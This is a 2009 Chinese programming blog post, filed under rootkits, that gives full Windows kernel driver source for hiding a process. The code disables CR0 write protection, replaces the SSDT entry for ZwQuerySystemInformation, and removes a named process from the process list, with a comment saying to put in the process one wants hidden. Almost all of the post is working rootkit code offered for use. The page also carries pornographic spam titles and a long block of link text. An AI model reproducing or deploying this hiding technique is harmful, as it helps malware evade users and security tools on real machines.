青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

S.l.e!ep.¢%

像打了激速一樣,以四倍的速度運轉,開心的工作
簡單、開放、平等的公司文化;尊重個性、自由與個人價值;
posts - 1098, comments - 335, trackbacks - 0, articles - 1
  C++博客 :: 首頁 :: 新隨筆 :: 聯系 :: 聚合  :: 管理

HOOK SSDT實現進程隱藏

Posted on 2009-10-24 21:01 S.l.e!ep.¢% 閱讀(882) 評論(0)  編輯 收藏 引用 所屬分類: RootKit

HOOK SSDT實現進程隱藏(代碼)

  1. #include "Driver.h"


  2. #pragma??pack(1)
  3. typedef struct _SSDT_TABLE
  4. {
  5. ??PVOID? ?ServiceTableBase;
  6. ??PULONG??ServiceCounterTableBase;
  7. ??ULONG? ?NumberOfService;
  8. ??ULONG? ?ParamTableBase;
  9. }SSDT_TABLE,* PSSDT_TABLE;
  10. #pragma pack()

  11. struct _SYSTEM_THREADS
  12. {
  13. ??LARGE_INTEGER? ?? ?? ???KernelTime;
  14. ??LARGE_INTEGER? ?? ?? ???UserTime;
  15. ??LARGE_INTEGER? ?? ?? ???CreateTime;
  16. ??ULONG? ?? ?? ?? ?? ?? ?? ?? ?? ?WaitTime;
  17. ??PVOID? ?? ?? ?? ?? ?? ?? ?? ?? ?StartAddress;
  18. ??CLIENT_ID? ?? ?? ?? ?? ?? ?? ???ClientIs;
  19. ??KPRIORITY? ?? ?? ?? ?? ?? ?? ???Priority;
  20. ??KPRIORITY? ?? ?? ?? ?? ?? ?? ???BasePriority;
  21. ??ULONG? ?? ?? ?? ?? ?? ?? ?? ?? ?ContextSwitchCount;
  22. ??ULONG? ?? ?? ?? ?? ?? ?? ?? ?? ?ThreadState;
  23. ??KWAIT_REASON? ?? ?? ?? ?WaitReason;
  24. };

  25. //===================================================
  26. struct _SYSTEM_PROCESSES
  27. {
  28. ??ULONG? ?? ?? ?? ?? ?? ?? ?? ?? ?NextEntryDelta;
  29. ??ULONG? ?? ?? ?? ?? ?? ?? ?? ?? ?ThreadCount;
  30. ??ULONG? ?? ?? ?? ?? ?? ?? ?? ?? ?Reserved[6];
  31. ??LARGE_INTEGER? ?? ?? ???CreateTime;
  32. ??LARGE_INTEGER? ?? ?? ???UserTime;
  33. ??LARGE_INTEGER? ?? ?? ???KernelTime;
  34. ??UNICODE_STRING? ?? ?? ? ProcessName;
  35. ??KPRIORITY? ?? ?? ?? ?? ?? ?? ???BasePriority;
  36. ??ULONG? ?? ?? ?? ?? ?? ?? ?? ?? ?ProcessId;
  37. ??ULONG? ?? ?? ?? ?? ?? ?? ?? ?? ?InheritedFromProcessId;
  38. ??ULONG? ?? ?? ?? ?? ?? ?? ?? ?? ?HandleCount;
  39. ??ULONG? ?? ?? ?? ?? ?? ?? ?? ?? ?Reserved2[2];
  40. ??VM_COUNTERS? ?? ?? ?? ?? ?? ?? ?VmCounters;
  41. ??IO_COUNTERS? ?? ?? ?? ?? ?? ?? ?IoCounters; //windows 2000 only
  42. ??struct _SYSTEM_THREADS? ?? ?? ? Threads[1];
  43. };

  44. struct _SYSTEM_PROCESSOR_TIMES
  45. {
  46. ? ?LARGE_INTEGER? ?? ?? ? IdleTime;
  47. ? ?LARGE_INTEGER? ?? ?? ? KernelTime;
  48. ? ?LARGE_INTEGER? ?? ?? ? UserTime;
  49. ? ?LARGE_INTEGER? ?? ?? ? DpcTime;
  50. ? ?LARGE_INTEGER? ?? ?? ? InterruptTime;
  51. ? ?ULONG? ?? ?? ?? ???InterruptCount;
  52. };


  53. //======================================================

  54. typedef NTSTATUS (__stdcall *ZWQUERYSYSTEMINFORMATION)(
  55. ? ?IN ULONG SystemInformationClass,
  56. ? ?IN PVOID SystemInformation,
  57. ? ?IN ULONG SystemInformationLength,
  58. ? ?OUT PULONG ReturnLength);



  59. NTSTATUS MyZwQuerySystemInformation(
  60. ? ?IN ULONG SystemInformationClass,
  61. ? ?IN PVOID SystemInformation,
  62. ? ?IN ULONG SystemInformationLength,
  63. ? ?OUT PULONG ReturnLength);



  64. //定義全局變量
  65. extern "C" extern PSSDT_TABLE??KeServiceDescriptorTable;
  66. ULONG??OldAddress;
  67. ZWQUERYSYSTEMINFORMATION? ?? ???OldZwQuerySystemInformation;
  68. PVOID Base;

  69. //函數申明
  70. VOID DisplayItsProcessName()

  71. {
  72. ? ? ? ? PEPROCESS Peprocess = PsGetCurrentProcess();
  73. ? ? ? ? PTSTR ProcessName = (PTSTR)((ULONG)Peprocess+0x174);
  74. ? ? ? ? KdPrint(("The Process :%s\n",ProcessName));
  75. }


  76. void UnHook();


  77. VOID Unload (IN PDRIVER_OBJECT pDriverObject)
  78. {

  79. ? ? ? ? KdPrint(("Enter DriverUnload\n"));
  80. ? ? ? ? UnHook();? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ???// mark
  81. }


  82. NTSTATUS MyZwQuerySystemInformation(
  83. ? ???IN ULONG SystemInformationClass,
  84. ? ???IN PVOID SystemInformation,
  85. ? ???IN ULONG SystemInformationLength,
  86. ? ???OUT PULONG ReturnLength) //定義自己的Hook函數
  87. {
  88. ? ?NTSTATUS rc;

  89. ? ?UNICODE_STRING process_name;
  90. ? ?RtlInitUnicodeString(&process_name, L"taskmgr.exe");//改成自己要隱藏進程

  91. ? ?rc = (OldZwQuerySystemInformation) (
  92. ? ???SystemInformationClass,
  93. ? ???SystemInformation,
  94. ? ???SystemInformationLength,
  95. ? ???ReturnLength);
  96. ??
  97. ? ?if(NT_SUCCESS(rc))
  98. ? ?{
  99. ? ???if(5 == SystemInformationClass)
  100. ? ???{
  101. ? ?? ? struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
  102. ? ?? ? struct _SYSTEM_PROCESSES *prev = NULL;
  103. ? ?? ? if(curr->NextEntryDelta)
  104. ? ?? ? ? ? ? ???curr = (_SYSTEM_PROCESSES *)((ULONG)curr + curr->NextEntryDelta);

  105. ? ?? ? while(curr)
  106. ? ?? ? {
  107. ? ?? ???
  108. ? ?? ?? ?? ?? ?? ?? ?? ?? ?? ???if (RtlEqualUnicodeString(&process_name, &curr->ProcessName, 1))

  109. ? ?? ?? ?{
  110. ? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ? KdPrint(("hide process'name taskmgr.exe"));


  111. ? ?? ?? ???if(prev)
  112. ? ?? ?? ???{
  113. ? ?? ?? ?? ? if(curr->NextEntryDelta)
  114. ? ?? ?? ?? ? {
  115. ? ?? ?? ?? ?? ?prev->NextEntryDelta += curr->NextEntryDelta;
  116. ? ?? ?? ?? ? }
  117. ? ?? ?? ?? ? else
  118. ? ?? ?? ?? ? {
  119. ? ?? ?? ?? ?? ?prev->NextEntryDelta = 0;
  120. ? ?? ?? ?? ? }
  121. ? ?? ?? ???}
  122. ? ?? ?? ???else
  123. ? ?? ?? ???{
  124. ? ?? ?? ?? ? if(curr->NextEntryDelta)
  125. ? ?? ?? ?? ? {
  126. ? ?? ?? ?? ?? ?SystemInformation =(PVOID)((ULONG)SystemInformation + curr->NextEntryDelta);
  127. ? ?? ?? ?? ? }
  128. ? ?? ?? ?? ? else
  129. ? ?? ?? ?? ? {
  130. ? ?? ?? ?? ?? ?SystemInformation = NULL;
  131. ? ?? ?? ?? ? }
  132. ? ?? ?? ???}

  133. ? ?? ?? ???if(curr->NextEntryDelta)
  134. ? ?? ?? ???? ? ? ? ? ? ? ? curr = (_SYSTEM_PROCESSES *)((ULONG)curr + curr->NextEntryDelta);
  135. ? ?? ?? ???else
  136. ? ?? ?? ???{
  137. ? ?? ?? ?? ? curr = NULL;
  138. ? ?? ?? ?? ? break;
  139. ? ?? ?? ???}
  140. ? ?? ?? ?}

  141. ? ?? ?? ?if(curr != NULL)
  142. ? ?? ?? ?{
  143. ? ?? ?? ???prev = curr;
  144. ? ?? ?? ???if(curr->NextEntryDelta)
  145. ? ?? ?? ???? ? ? ? ? ? ? ? curr = (_SYSTEM_PROCESSES *)((ULONG)curr + curr->NextEntryDelta);
  146. ? ?? ?? ???else curr = NULL;
  147. ? ?? ?? ?}

  148. ? ?? ? }
  149. ? ???}
  150. ? ?}
  151. KdPrint(("HookZwQuerySystemInformation is Succeessfully.... \n"));
  152. DisplayItsProcessName();

  153. return rc;

  154. }


  155. VOID Hook()
  156. {
  157. ? ? ? ? DbgPrint("Entry Hook()\n");
  158. ? ? ? ? OldAddress =(ULONG)KeServiceDescriptorTable->ServiceTableBase + 4*0xAd;//用windbg反匯編查到zwquerysysteminformationde
  159. ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?//的ID號是0xADh
  160. ? ? ? ? DbgPrint("KeServiceDescriptorTable->ServiceTableBase is :0x%0x\n",KeServiceDescriptorTable->ServiceTableBase);
  161. ? ? ? ? //保存原來函數的地址
  162. ? ? ? ? OldZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION) *(ULONG *)OldAddress;
  163. ??DbgPrint("OldZwQuerySystemInformation is :0x%0x\n", OldZwQuerySystemInformation);
  164. ??DbgPrint("MyZwQuerySystemInformation is :0x%0x\n", MyZwQuerySystemInformation);

  165. ? ?//取消內存寫保護
  166. ??_asm
  167. ??{
  168. ? ? cli
  169. ? ?
  170. ? ?? ?mov??eax,cr0??
  171. ? ?? ?and??eax,not 10000h
  172. ? ?? ?mov??cr0,eax
  173. ? ?? ?
  174. ??}
  175. ??

  176. ? ? ? ?
  177. ? ? ? ? *(ULONG*)OldAddress =(ULONG) MyZwQuerySystemInformation;? ?? ? //mark? ?MyZwQuerySystemInformation;
  178. ??
  179. ??//還原內存寫保護
  180. ??_asm
  181. ??{??
  182. ??
  183. ? ? mov??eax,cr0
  184. ? ?? ?or? ?eax,10000h
  185. ? ?? ?mov??cr0,eax
  186. ? ?? ?sti
  187. ??
  188. ??
  189. ??}
  190. }

  191. void UnHook()
  192. {
  193. ??ULONG??Address;
  194. ??
  195. ??Address =(ULONG) KeServiceDescriptorTable->ServiceTableBase +0xAD*4;
  196. ??
  197. ??__asm{
  198. ? ? cli
  199. ? ?? ?mov??eax,cr0
  200. ? ?? ?and??eax,not 10000h
  201. ? ?? ?mov??cr0,eax
  202. ??}
  203. ? ?
  204. ??*(ULONG*)Address =(ULONG) OldZwQuerySystemInformation;
  205. ??
  206. ??__asm{??
  207. ? ? mov??eax,cr0
  208. ? ?? ?or? ?eax,10000h
  209. ? ?? ?mov??cr0,eax
  210. ? ?? ?sti
  211. ??}
  212. ??
  213. ??DbgPrint("Unhook leave!\n");
  214. ??
  215. }
  216. ??



  217. //========================驅動入口函數
  218. extern "C" NTSTATUS DriverEntry(IN PDRIVER_OBJECT??pDriverObject, IN PUNICODE_STRING??pRegistryPath)
  219. {
  220. ??DbgPrint("Entry Hook Function!\n");

  221. ? ? ? ? pDriverObject->DriverUnload = Unload;
  222. ? ? ? ?
  223. ? ? ? ? Hook();
  224. ??
  225. ??DbgPrint("Leave DriverEntry!\n");
  226. ??
  227. ? ? ? ? return STATUS_SUCCESS;
  228. ??
  229. }
復制代碼
XPSP3 WDK 順利通過~
青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            久久亚洲欧洲| 亚洲电影免费在线| 亚洲福利精品| 国产伦精品一区二区三区视频孕妇| 欧美成人高清| 国产亚洲一区二区在线观看 | 亚洲国产专区校园欧美| 亚洲图片自拍偷拍| 在线视频精品一区| 毛片精品免费在线观看| 久久久久久久久久久久久久一区 | 欧美中文在线观看国产| 亚洲欧美精品一区| 欧美日韩一区二区三区在线 | 国产精品99久久不卡二区| 久久天天躁狠狠躁夜夜爽蜜月 | 欧美国产日韩xxxxx| 国产一区在线播放| 亚洲制服av| 亚洲天堂偷拍| 欧美日韩你懂的| 一本色道久久综合亚洲精品小说 | 欧美视频在线观看| 亚洲精品中文字幕女同| 亚洲人被黑人高潮完整版| 久久全球大尺度高清视频| 久久免费少妇高潮久久精品99| 国产美女在线精品免费观看| 亚洲午夜三级在线| 欧美亚洲一区二区在线| 国产精品视频网址| 亚洲欧美视频在线观看| 午夜亚洲视频| 国产欧美在线| 久久精品在这里| 开元免费观看欧美电视剧网站| 韩国三级电影久久久久久| 久久精品在线视频| 欧美国产在线观看| 亚洲最新色图| 国产精品国产三级国产aⅴ浪潮 | 亚洲欧美另类在线| 久久久久成人网| 亚洲电影自拍| 欧美日韩爆操| 亚洲欧美日韩一区二区三区在线| 欧美一区二区三区免费观看| 国产视频在线观看一区| 久久色中文字幕| 91久久精品久久国产性色也91| 一区二区三区www| 国产麻豆成人精品| 美女国产一区| 亚洲一区在线免费观看| 另类亚洲自拍| 夜色激情一区二区| 国产日韩在线播放| 欧美 日韩 国产一区二区在线视频| 亚洲破处大片| 久久精品视频网| 99pao成人国产永久免费视频| 国产精品高潮呻吟久久| 久久久国产精品亚洲一区 | 免费亚洲电影在线观看| 一本一道久久综合狠狠老精东影业| 欧美日韩亚洲在线| 久久久水蜜桃av免费网站| 亚洲免费观看高清完整版在线观看| 亚洲欧美在线一区| 亚洲精品中文字幕有码专区| 国产精品一区二区三区免费观看| 老司机aⅴ在线精品导航| 中国女人久久久| 欧美激情精品久久久久久久变态| 午夜精品久久久久久久99黑人| 一区视频在线看| 国产精品免费久久久久久| 免费h精品视频在线播放| 午夜精品www| 亚洲精品中文字幕在线| 老牛嫩草一区二区三区日本| 亚洲欧美精品中文字幕在线| 91久久夜色精品国产九色| 国产久一道中文一区| 欧美日韩国产不卡在线看| 久久免费视频观看| 亚洲一区久久久| 99re8这里有精品热视频免费 | 亚洲视频大全| 亚洲精品国产精品久久清纯直播| 久久综合999| 午夜精品久久久99热福利| 中日韩男男gay无套| 亚洲精品影院在线观看| 在线看片成人| 永久免费毛片在线播放不卡| 国产亚洲欧美日韩美女| 国产精品视频自拍| 国产精品久久久久aaaa九色| 欧美人与禽性xxxxx杂性| 牛人盗摄一区二区三区视频| 久久精品国产亚洲一区二区三区 | 国内激情久久| 国产亚洲欧美日韩精品| 国产精品私房写真福利视频| 国产精品夫妻自拍| 国产精品国产三级国产aⅴ入口 | 老司机凹凸av亚洲导航| 久久人人97超碰精品888| 久久精品人人做人人爽电影蜜月| 香蕉久久a毛片| 亚洲欧美日韩中文视频| 亚洲一区二区影院| 亚洲欧美日韩在线| 性伦欧美刺激片在线观看| 性欧美暴力猛交另类hd| 欧美一区二区日韩一区二区| 久久国产乱子精品免费女| 久久www成人_看片免费不卡| 久久精品在线观看| 美日韩精品视频免费看| 欧美国产大片| 国产精品igao视频网网址不卡日韩| 欧美性色视频在线| 国产精品一区二区在线观看网站| 国产亚洲成精品久久| 樱桃成人精品视频在线播放| 亚洲精品国久久99热| 一区二区三区毛片| 久久成人国产精品| 欧美a级片一区| 亚洲看片网站| 亚洲欧美一区二区三区久久| 久久久久久电影| 欧美激情亚洲另类| 国产农村妇女精品| 亚洲夫妻自拍| 亚洲自拍偷拍一区| 久久久精品一区二区三区| 亚洲电影中文字幕| 亚洲一区一卡| 欧美成人资源网| 国产精品一区二区三区观看 | 亚洲免费成人av| 性久久久久久久久| 欧美aⅴ一区二区三区视频| 亚洲精品一区二区在线观看| 亚洲综合第一| 美女国内精品自产拍在线播放| 欧美视频免费看| 在线色欧美三级视频| 亚洲欧美日韩天堂一区二区| 老鸭窝亚洲一区二区三区| 亚洲精品欧美一区二区三区| 午夜宅男久久久| 欧美片在线观看| 国内揄拍国内精品久久| 亚洲香蕉网站| 亚洲大胆人体在线| 91久久久久久久久久久久久| 亚洲自拍电影| 亚洲福利av| 久久久av网站| 国产精品视频yy9299一区| 亚洲精品少妇网址| 久久九九久久九九| 一区二区三区视频在线| 免费在线成人av| 在线高清一区| 欧美在线首页| 一本久久综合| 欧美日韩国产色视频| 亚洲电影自拍| 久久综合网络一区二区| 亚洲天堂成人在线观看| 欧美激情1区2区3区| 伊人久久亚洲美女图片| 欧美一级理论性理论a| 一区二区三区精品视频| 欧美区二区三区| 91久久中文| 男同欧美伦乱| 久久视频精品在线| 伊人久久亚洲热| 麻豆成人在线观看| 久久精品国产77777蜜臀| 国产亚洲毛片| 久久精品亚洲一区| 午夜精品在线视频| 国产亚洲精品一区二555| 午夜一区不卡| 午夜性色一区二区三区免费视频 | 亚洲第一精品在线| 蜜桃av一区二区三区| 久久精品亚洲国产奇米99| 国产亚洲成年网址在线观看| 久久激情视频| 久久久91精品国产| 在线看不卡av| 亚洲国产精品久久精品怡红院|